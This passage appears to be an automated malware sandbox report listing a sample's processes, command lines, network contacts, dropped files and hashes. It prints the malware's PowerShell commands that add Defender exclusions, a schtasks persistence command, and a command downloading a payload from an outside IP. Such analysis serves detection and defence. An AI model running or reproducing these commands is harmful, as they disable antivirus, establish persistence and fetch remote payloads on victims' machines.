PID 3016 wrote to memory of 1304 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\schtasks.exe
PID 3016 wrote to memory of 3172 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WScript.exe
PID 3016 wrote to memory of 3172 N/A C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe C:\Windows\System32\WScript.exe
PID 3172 wrote to memory of 2200 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3172 wrote to memory of 2200 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe

"C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"

C:\Users\Admin\1000006002\b26503bc6d.exe

"C:\Users\Admin\1000006002\b26503bc6d.exe"

C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe

"C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\ProgramData\taskmgr.exe

C:\ProgramData\taskmgr.exe

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\ProgramData\ssa.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $webClient = New-Object System.Net.WebClient; $webClient.Credentials = New-Object System.Net.NetworkCredential('dd', 'mn...123456'); $webClient.DownloadFile('http://193.222.96.193:81/besho/besho.mp4', 'C:\Users\Public\Documents\max3d.zip'); Expand-Archive -Path 'C:\Users\Public\Documents\max3d.zip' -DestinationPath 'C:\Users\Public\Documents\' -Force

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\ProgramData\taskmgr.exe

C:\ProgramData\taskmgr.exe

C:\ProgramData\taskmgr.exe

C:\ProgramData\taskmgr.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

Network

Country Destination Domain Proto
RU 5.42.96.141:80 5.42.96.141 tcp
RU 5.42.96.7:80 5.42.96.7 tcp
US 8.8.8.8:53 141.96.42.5.in-addr.arpa udp
RU 5.42.96.7:80 5.42.96.7 tcp
US 208.95.112.1:80 ip-api.com tcp
NL 149.154.167.220:443 api.telegram.org tcp
N/A 127.0.0.1:7000 tcp
US 45.88.186.125:7000 beshomandotestbesnd.run.place tcp
NL 193.222.96.193:81 tcp
US 45.88.186.125:7000 beshomandotestbesnd.run.place tcp

Files

memory/3672-0-0x0000000000170000-0x00000000006C2000-memory.dmp

memory/3672-2-0x0000000000170000-0x00000000006C2000-memory.dmp

memory/3672-1-0x0000000000170000-0x00000000006C2000-memory.dmp

memory/3672-3-0x0000000000170000-0x00000000006C2000-memory.dmp

memory/3672-6-0x0000000000170000-0x00000000006C2000-memory.dmp

memory/3672-8-0x0000000000170000-0x00000000006C2000-memory.dmp

memory/3672-5-0x0000000000170000-0x00000000006C2000-memory.dmp

memory/3672-4-0x0000000000170000-0x00000000006C2000-memory.dmp

memory/3672-7-0x0000000000170000-0x00000000006C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

MD5 d5be6b852722db508fdb29104d5aa037
SHA1 89e8ea27ef760ee059731380397446c1cf03c55d
SHA256 71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94
SHA512 ba62ca856fb72f3a68edc50bbb8e8ab914d6f9526d5d84a92ff0f25aa57e149e742e881bf7a967f3a40b445725fffd6d1f6f141f94fe9f271fb04103761b516b

memory/2580-22-0x0000000000310000-0x0000000000862000-memory.dmp

memory/2580-28-0x0000000000310000-0x0000000000862000-memory.dmp

memory/2580-30-0x0000000000310000-0x0000000000862000-memory.dmp

memory/2580-29-0x0000000000310000-0x0000000000862000-memory.dmp

memory/2580-26-0x0000000000310000-0x0000000000862000-memory.dmp

memory/2580-24-0x0000000000310000-0x0000000000862000-memory.dmp

memory/2580-23-0x0000000000310000-0x0000000000862000-memory.dmp

memory/2580-27-0x0000000000310000-0x0000000000862000-memory.dmp

memory/2580-25-0x0000000000310000-0x0000000000862000-memory.dmp

memory/3672-21-0x0000000000170000-0x00000000006C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe

MD5 a522a3d64b6e57e8cf9c5e390d7db83a
SHA1 07f4c37b9b0a0e331b5d7088549caed05eb5794b
SHA256 f10c4a499b5f7e8d26ff0397ceaf94ea3d3ba43617087ea68b2cb43b99da0f30
SHA512 14a6d5c64c11ddb2d4be7df2d11c082f265b7492d76270282a60592118701c520a625aa4fb3be4676325aed1b126f7f3a1975e885adbdebf12ff3c499676e398

memory/4976-48-0x0000000000500000-0x000000000099D000-memory.dmp

memory/4976-49-0x0000000077416000-0x0000000077418000-memory.dmp

memory/4976-62-0x0000000000500000-0x000000000099D000-memory.dmp

memory/3348-63-0x00000000003D0000-0x000000000086D000-memory.dmp

C:\Users\Admin\1000006002\b26503bc6d.exe

MD5 ea46597fd930b2febc255656c123cce6
SHA1 e8247e4502dcbab1678ad1062357c7a3183e5a04
SHA256 b3010f5232a4d132e18d49b08c9ab0961abfd0680806cbff7cfd5598838c0ff0
SHA512 6af55ca85337d1e2e59bd020126179ae72eca7a41e4c2b5199ba0aea281d98307b014da31c49d6f152cbb3e0af785918ca0cf404aad3ab40fec6c6bf104350d3

memory/2308-85-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/2308-83-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/2308-82-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/2308-86-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/2308-84-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/2308-90-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/2308-89-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/2308-88-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/2308-87-0x0000000000C20000-0x0000000001292000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe

MD5 73309cc961f9645c1c2562ffcdc2dab1
SHA1 6a8545c08c931e016198c80b304ade1c1e8f7a17
SHA256 287e94024ef4ea0f1d9aad740b75a2ff594dd93062848867ed028ac719143298
SHA512 89858a407acbc7c13a4bd40031abd6803c311d381a37702631b1739d9f0e67c6afae50e6d1188b54a7d0e1ddfbcb6857b68f8f44cad3b10b1b31b53f1b676914

memory/3016-109-0x0000000000EA0000-0x0000000000ED8000-memory.dmp

memory/2580-110-0x0000000000310000-0x0000000000862000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_whaihxlf.oqg.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2360-116-0x000001B0B04A0000-0x000001B0B04C2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 1a9fa92a4f2e2ec9e244d43a6a4f8fb9
SHA1 9910190edfaccece1dfcc1d92e357772f5dae8f7
SHA256 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
SHA512 5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 856900844f6f1c326c89d0bcfb2f0c28
SHA1 1caad440d46fa8c0cbed4822b4be2bbdddba97c2
SHA256 ae24414ec53b3ae43ddbf1ff7b6643f8bf45281406f6415742f4305360d70a32
SHA512 ed8f421e151d797b33440dd0ddb6d6a5ec93fe7806ad82c60af3f77d545cf5dc319bce67804bd0613bb551a3f01648ec0d1918805dc7342145c8bb23ad12cab4

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f8c40f7624e23fa92ae2f41e34cfca77
SHA1 20e742cfe2759ac2adbc16db736a9e143ca7b677
SHA256 c51a52818a084addbfa913d2bb4bb2b0e60c287a4cf98e679f18b8a521c0aa7b
SHA512 f1da3ec61403d788d417d097a7ed2947203c6bff3cf1d35d697c31edecdf04710b3e44b2aa263b886e297b2ce923fea410ccc673261928f1d0cd81252740dbe7

memory/3348-157-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/2308-158-0x0000000000C20000-0x0000000001292000-memory.dmp

memory/1744-160-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-162-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-163-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-164-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-161-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-166-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-167-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-165-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1660-169-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/1744-172-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1660-175-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/3348-177-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/3348-178-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/3016-181-0x000000001CE40000-0x000000001CE4A000-memory.dmp

C:\ProgramData\ssa.vbs

MD5 68c8c79d84f5e3f10dd9328272b0ac55
SHA1 5ab9a13ec0d01fc1ed71c27a1a23a61019cb8946
SHA256 29841f038da6a26dac5df28f23b4adcb080f5b0a2312bf996c8073940849eef6
SHA512 d86bd0ac3bd58ee9a1b06e1edba3c03788136292d81bd9cf025525c3a0e40bba9a7b6d5859833a9d470d29ab31b35d5515855a78691bfe54477631d9a0733f6a

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 21017c68eaf9461301de459f4f07e888
SHA1 41ff30fc8446508d4c3407c79e798cf6eaa5bb73
SHA256 03b321e48ff3328d9c230308914961fe110c4c7bc96c0a85a296745437bcb888
SHA512 956990c11c6c1baa3665ef7ef23ef6073e0a7fcff77a93b5e605a83ff1e60b916d80d45dafb06977aed90868a273569a865cf2c623e295b5157bfff0fb2be35d

memory/3348-195-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/3016-197-0x000000001DCD0000-0x000000001DDF0000-memory.dmp

memory/3016-237-0x000000001E2F0000-0x000000001E640000-memory.dmp

memory/3016-238-0x000000001CAB0000-0x000000001CABE000-memory.dmp

memory/3348-239-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/3348-242-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/3348-246-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/3348-250-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/4624-254-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4624-257-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4624-256-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4624-258-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4624-255-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4624-259-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4624-260-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4624-261-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-263-0x00000000003D0000-0x000000000086D000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\taskmgr.exe.log

MD5 2cbbb74b7da1f720b48ed31085cbd5b8
SHA1 79caa9a3ea8abe1b9c4326c3633da64a5f724964
SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
SHA512 ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

memory/4624-267-0x0000000000310000-0x0000000000862000-memory.dmp

memory/1744-269-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/4172-290-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4260-299-0x00000000003D0000-0x000000000086D000-memory.dmp

memory/4172-301-0x0000000000310000-0x0000000000862000-memory.dmp

memory/4260-303-0x00000000003D0000-0x000000000086D000-memory.dmp